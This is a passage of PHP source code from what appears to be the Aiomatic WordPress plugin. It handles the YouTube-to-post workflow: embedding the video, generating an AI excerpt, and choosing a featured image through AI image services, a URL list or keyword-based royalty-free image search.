                                        if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') {
                                            $vwidth = esc_attr($aiomatic_Main_Settings['player_width']);
                                        }
                                        else
                                        {
                                            $vwidth = 580;
                                        }
                                        if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') {
                                            $vheight = esc_attr($aiomatic_Main_Settings['player_height']);
                                        }
                                        else
                                        {
                                            $vheight = 380;
                                        }
                                        $new_post_content .= '<br/><br/><div class="automaticx-video-container"><iframe allow="autoplay" width="' . $vwidth . '" height="' . $vheight . '" src="https://www.youtube.com/embed/' . $video_id . '" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>';
                                        $added_vid_list[] = $video_id;
                                        $new_vid_arr[] = $new_img;
                                        $added_videos++;
                                    }
                                }
                                if($new_post_content == '')
                                {
                                    aiomatic_log_to_file("Warning, empty post content because of empty content prompt!");
                                }
            
                                $new_post_excerpt = '';
                                $current_section = $post_sections;
                                if($excerpt_prompt != '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $excerpt_prompt_arr = preg_split('/\r\n|\r|\n/', $excerpt_prompt);
                                        $my_post_excerpt = $excerpt_prompt_arr[array_rand($excerpt_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_post_excerpt = $excerpt_prompt;
                                    }
                                    $my_post_excerpt = aiomatic_replace_youtube($my_post_excerpt, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    if(stristr($run_regex_on, 'excerpt') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_excerpt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_post_excerpt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_post_excerpt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based excerpt'));
                                        $written = aiomatic_write_content($my_post_excerpt, $topic_excerpt_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'excerpt', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate excerpt!');
                                        }
                                        else
                                        {
                                            $new_post_excerpt = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed excerpt prompt. Nothing to do.');
                                    }
                                }
            
                                $get_img = '';
                                if($royalty_free == '1')
                                {
                                    if($enable_ai_images == '1')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 400)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 400);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $image_model);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                if (isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] == 'on')
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $aierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating AI image'));
                                                $get_img = aiomatic_generate_ai_image($token, 1, $ai_command_image, $image_size, 'featuredImage', $skip_this_copy, 0, $aierror, $image_model);
                                                if($get_img !== false)
                                                {
                                                    foreach($get_img as $tmpimg)
                                                    {
                                                        $get_img = $tmpimg;
                                                        break;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate AI featured image: ' . $aierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '2')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Stability.AI';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based Stable Diffusion image'));
                                                $get_img = aiomatic_generate_stability_image($ai_command_image, $height, $width, 'featuredStableImage', 0, false, $ierror, $skip_this_copy, false);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Stability.AI featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '4')
                                    {
                                        $query_words = $post_title;
                                        if($image_query == '')
                                        {
                                            $image_query = $temp_post;
                                        }
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                            if(empty($ai_command_image))
                                            {
                                                aiomatic_log_to_file('Empty API featured image seed expression provided!');
                                            }
                                            else
                                            {
                                                if(strlen($ai_command_image) > 2000)
                                                {
                                                    $ai_command_image = aiomatic_substr($ai_command_image, 0, 2000);
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = 'Midjourney';
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' for featured image: ' . $ai_command_image);
                                                }
                                                if($image_size == '256x256')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '512x512')
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                elseif($image_size == '1024x1024')
                                                {
                                                    $width = '1024';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1792x1024')
                                                {
                                                    $width = '1792';
                                                    $height = '1024';
                                                }
                                                elseif($image_size == '1024x1792')
                                                {
                                                    $width = '1024';
                                                    $height = '1792';
                                                }
                                                else
                                                {
                                                    $width = '512';
                                                    $height = '512';
                                                }
                                                $skip_this_copy = true;
                                                if(!function_exists('is_plugin_active'))
                                                {
                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                }
                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                                {
                                                    $skip_this_copy = false;
                                                }
                                                $ierror = '';
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based Midjourney image'));
                                                $get_img = aiomatic_generate_ai_image_midjourney($ai_command_image, $width, $height, 'featuredMidjourneyImage', $skip_this_copy, $ierror);
                                                if($get_img !== false)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        aiomatic_log_to_file('AI generated featured image returned: ' . $get_img[1]);
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to generate Midjourney featured image: ' . $ierror);
                                                    $get_img = '';
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty AI featured image query entered.');
                                        }
                                    }
                                    elseif($enable_ai_images == '3')
                                    {
                                        if ($image_url != '') 
                                        {
                                            $replacement = str_replace(array('[', ']'), '', $query_words);
                                            $image_url_temp = str_replace('%%item_title%%', $replacement, $image_url);
                                            $image_url_temp = preg_replace_callback('#%%random_image\[([^\]]*?)\](\[\d+\])?%%#', function ($matches) {
                                                if(isset($matches[2]))
                                                {
                                                    $chance = trim($matches[2], '[]');
                                                }
                                                else
                                                {
                                                    $chance = '';
                                                }
                                                $arv = array();
                                                $my_img = aiomatic_get_random_image_google($matches[1], 0, 0, $chance, $arv);
                                                return $my_img;
                                            }, $image_url_temp);
                                            $img_rulx = $spintax->Parse(trim($image_url_temp));
                                            $selected_img = aiomatic_select_ai_image($post_title, $img_rulx);
                                            if($selected_img === false)
                                            {
                                                $img_rulx = explode(',', $img_rulx);
                                                $img_rulx = trim($img_rulx[array_rand($img_rulx)]);
                                                if($img_rulx != '')
                                                {
                                                    $get_img = $img_rulx;
                                                }
                                            }
                                            else
                                            {
                                                $get_img = $selected_img;
                                            }
                                        }
                                    }
                                    else
                                    {
                                        $image_query_set = false;
                                        $query_words = '';
                                        $ai_command_image = '';
                                        if($orig_ai_command_image == '')
                                        {
                                            $orig_ai_command_image = $image_query;
                                        }
                                        if($orig_ai_command_image != '')
                                        {
                                            $ai_command_image = $orig_ai_command_image;
                                            if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                            {
                                                $ai_command_image = preg_split('/\r\n|\r|\n/', $ai_command_image);
                                                $ai_command_image = array_filter($ai_command_image);
                                                if(count($ai_command_image) > 0)
                                                {
                                                    $ai_command_image = $ai_command_image[array_rand($ai_command_image)];
                                                }
                                                else
                                                {
                                                    $ai_command_image = '';
                                                }
                                            }
                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                            if(!empty($ai_command_image))
                                            {
                                                $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                            }
                                            else
                                            {
                                                $ai_command_image = trim(strip_tags($post_title));
                                            }
                                            $ai_command_image = trim($ai_command_image);
                                            if (filter_var($ai_command_image, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($ai_command_image, '.txt'))
                                            {
                                                $txt_content = aiomatic_get_web_page($ai_command_image);
                                                if ($txt_content !== FALSE) 
                                                {
                                                    $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                    $txt_content = array_filter($txt_content);
                                                    if(count($txt_content) > 0)
                                                    {
                                                        $txt_content = $txt_content[array_rand($txt_content)];
                                                        if(trim($txt_content) != '') 
                                                        {
                                                            $ai_command_image = $txt_content;
                                                            $ai_command_image = aiomatic_replaceSynergyShortcodes($ai_command_image);
                                                            $ai_command_image = replaceAIPostShortcodes($ai_command_image, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        if($ai_command_image != '')
                                        {
                                            $query_words = $ai_command_image;
                                            $image_query = $ai_command_image;
                                            $image_query_set = true;
                                        }
                                        if(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'textrazor')
                                        {
                                            if(isset($aiomatic_Main_Settings['textrazor_key']) && trim($aiomatic_Main_Settings['textrazor_key']) != '')
                                            {
                                                try
                                                {
                                                    if(!class_exists('TextRazor'))
                                                    {
                                                        require_once(dirname(__FILE__) . "/res/TextRazor.php");
                                                    }
                                                    TextRazorSettings::setApiKey(trim($aiomatic_Main_Settings['textrazor_key']));
                                                    $textrazor = new TextRazor();
                                                    $textrazor->addExtractor('entities');
                                                    $response = $textrazor->analyze($image_query);
                                                    if (isset($response['response']['entities'])) 
                                                    {
                                                        foreach ($response['response']['entities'] as $entity) 
                                                        {
                                                            $query_words = '';
                                                            if(isset($entity['entityEnglishId']))
                                                            {
                                                                $query_words = $entity['entityEnglishId'];
                                                            }
                                                            else
                                                            {
                                                                $query_words = $entity['entityId'];
                                                            }
                                                            if($query_words != '')
                                                            {
                                                                $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                                if(!empty($z_img))
                                                                {
                                                                    $get_img = $z_img;
                                                                    $go_local_image = false;
                                                                    if(!function_exists('is_plugin_active'))
                                                                    {
                                                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                    }
                                                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                    {
                                                                        $go_local_image = true;
                                                                    }
                                                                    if($go_local_image == true)
                                                                    {
                                                                        $localpath = aiomatic_copy_image_locally($get_img);
                                                                        if($localpath !== false)
                                                                        {
                                                                            $get_img = $localpath[0];
                                                                        }
                                                                    }
                                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                        aiomatic_log_to_file('Royalty Free Image Generated with help of TextRazor (kw: "' . $query_words . '"): ' . $z_img);
                                                                    }
                                                                    break;
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                                catch(Exception $e)
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                        aiomatic_log_to_file('Failed to search for keywords using TextRazor (2): ' . $e->getMessage());
                                                    }
                                                }
                                            }
                                        }
                                        elseif(isset($aiomatic_Main_Settings['improve_keywords']) && trim($aiomatic_Main_Settings['improve_keywords']) == 'openai')
                                        {
                                            if(isset($aiomatic_Main_Settings['keyword_prompts']) && trim($aiomatic_Main_Settings['keyword_prompts']) != '')
                                            {
                                                if(isset($aiomatic_Main_Settings['keyword_model']) && $aiomatic_Main_Settings['keyword_model'] != '')
                                                {
                                                    $kw_model = $aiomatic_Main_Settings['keyword_model'];
                                                }
                                                else
                                                {
                                                    $kw_model = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                if(isset($aiomatic_Main_Settings['keyword_assistant_id']) && $aiomatic_Main_Settings['keyword_assistant_id'] != '')
                                                {
                                                    $keyword_assistant_id = $aiomatic_Main_Settings['keyword_assistant_id'];
                                                }
                                                else
                                                {
                                                    $keyword_assistant_id = '';
                                                }
                                                $title_ai_command = trim($aiomatic_Main_Settings['keyword_prompts']);
                                                $title_ai_command = str_replace('%%default_post_cats%%', $default_cat_list, $title_ai_command);
                                                if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                                {
                                                    $title_ai_command = preg_split('/\r\n|\r|\n/', $title_ai_command);
                                                    $title_ai_command = array_filter($title_ai_command);
                                                    if(count($title_ai_command) > 0)
                                                    {
                                                        $title_ai_command = $title_ai_command[array_rand($title_ai_command)];
                                                    }
                                                    else
                                                    {
                                                        $title_ai_command = '';
                                                    }
                                                }
                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                if(!empty($title_ai_command))
                                                {
                                                    $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if (filter_var($title_ai_command, FILTER_VALIDATE_URL) !== false && aiomatic_endsWith($title_ai_command, '.txt'))
                                                {
                                                    $txt_content = aiomatic_get_web_page($title_ai_command);
                                                    if ($txt_content !== FALSE) 
                                                    {
                                                        $txt_content = preg_split('/\r\n|\r|\n/', $txt_content);
                                                        $txt_content = array_filter($txt_content);
                                                        if(count($txt_content) > 0)
                                                        {
                                                            $txt_content = $txt_content[array_rand($txt_content)];
                                                            if(trim($txt_content) != '') 
                                                            {
                                                                $title_ai_command = $txt_content;
                                                                $title_ai_command = aiomatic_replaceSynergyShortcodes($title_ai_command);
                                                                $title_ai_command = replaceAIPostShortcodes($title_ai_command, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append);
                                                            }
                                                        }
                                                    }
                                                }
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API keyword extractor seed expression provided!');
                                                    $title_ai_command = 'Type the most relevant keyword, no other text before or after it, for a blog post titled:  ' . trim(strip_tags($post_title));
                                                }
                                                if(strlen($title_ai_command) > $max_seed_tokens * 4)
                                                {
                                                    $title_ai_command = aiomatic_substr($title_ai_command, 0, (0 - ($max_seed_tokens * 4)));
                                                }
                                                $title_ai_command = trim($title_ai_command);
                                                if(empty($title_ai_command))
                                                {
                                                    aiomatic_log_to_file('Empty API title seed expression provided(3)! ' . print_r($title_ai_command, true));
                                                }
                                                else
                                                {
                                                    $query_token_count = count(aiomatic_encode($title_ai_command));
                                                    $available_tokens = aiomatic_compute_available_tokens($kw_model, $max_tokens, $title_ai_command, $query_token_count);
                                                    if($available_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                    {
                                                        $string_len = strlen($title_ai_command);
                                                        $string_len = $string_len / 2;
                                                        $string_len = intval(0 - $string_len);
                                                        $title_ai_command = aiomatic_substr($title_ai_command, 0, $string_len);
                                                        $title_ai_command = trim($title_ai_command);
                                                        $query_token_count = count(aiomatic_encode($title_ai_command));
                                                        $available_tokens = $max_tokens - $query_token_count;
                                                    }
                                                    $aierror = '';
                                                    $finish_reason = '';
                                                    if(!empty($global_prepend))
                                                    {
                                                        $title_ai_command = $global_prepend . ' ' . $title_ai_command;
                                                    }
                                                    if(!empty($global_append))
                                                    {
                                                        $title_ai_command = $title_ai_command . ' ' . $global_append;
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Calling ' . $api_service . ' (' . $keyword_assistant_id . '/' . $kw_model . ') for title text: ' . $title_ai_command);
                                                    }
                                                    aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating keywords for image search'));
                                                    $generated_text = aiomatic_generate_text($token, $kw_model, $title_ai_command, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, false, 'keywordID' . $param, 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $keyword_assistant_id, $thread_id, '', 'disabled', '', true);
                                                    if($generated_text === false)
                                                    {
                                                        aiomatic_log_to_file('Keyword generator error: ' . $aierror);
                                                        $ai_title = '';
                                                    }
                                                    else
                                                    {
                                                        $ai_title = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                        $xai_titles = explode(',', $ai_title);
                                                        foreach($xai_titles as $query_words)
                                                        {
                                                            $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, trim($query_words), $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                            if(!empty($z_img))
                                                            {
                                                                $get_img = $z_img;
                                                                $go_local_image = false;
                                                                if(!function_exists('is_plugin_active'))
                                                                {
                                                                    include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                                                }
                                                                if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on' && isset($aiomatic_Main_Settings['copy_locally']) && $aiomatic_Main_Settings['copy_locally'] != 'disabled' && $aiomatic_Main_Settings['copy_locally'] != 'on') 
                                                                {
                                                                    $go_local_image = true;
                                                                }
                                                                if($go_local_image == true)
                                                                {
                                                                    $localpath = aiomatic_copy_image_locally($get_img);
                                                                    if($localpath !== false)
                                                                    {
                                                                        $get_img = $localpath[0];
                                                                    }
                                                                }
                                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                    aiomatic_log_to_file('Royalty Free Image Generated with help of AI (kw: "' . $query_words . '"): ' . $z_img);
                                                                }
                                                                break;
                                                            }
                                                        }
                                                    }
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                    {
                                                        $api_service = aiomatic_get_api_service($token, $kw_model);
                                                        aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                                    }
                                                }
                                            }
                                        }
                                        if(empty($get_img))
                                        {
                                            if($image_query_set == true && !empty($image_query))
                                            {
                                                $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                                if($get_img == '' || $get_img === false)
                                                {
                                                    if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                                    {
                                                        $keyword_class = new Aiomatic_keywords();
                                                        $image_query = $keyword_class->keywords($image_query, 1);
                                                        $get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $image_query, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                                    }
                                                }
                                            }
                                            if(empty($get_img))
                                            {
                                                $keyword_class = new Aiomatic_keywords();
                                                $query_words = $keyword_class->keywords($post_title, 2);
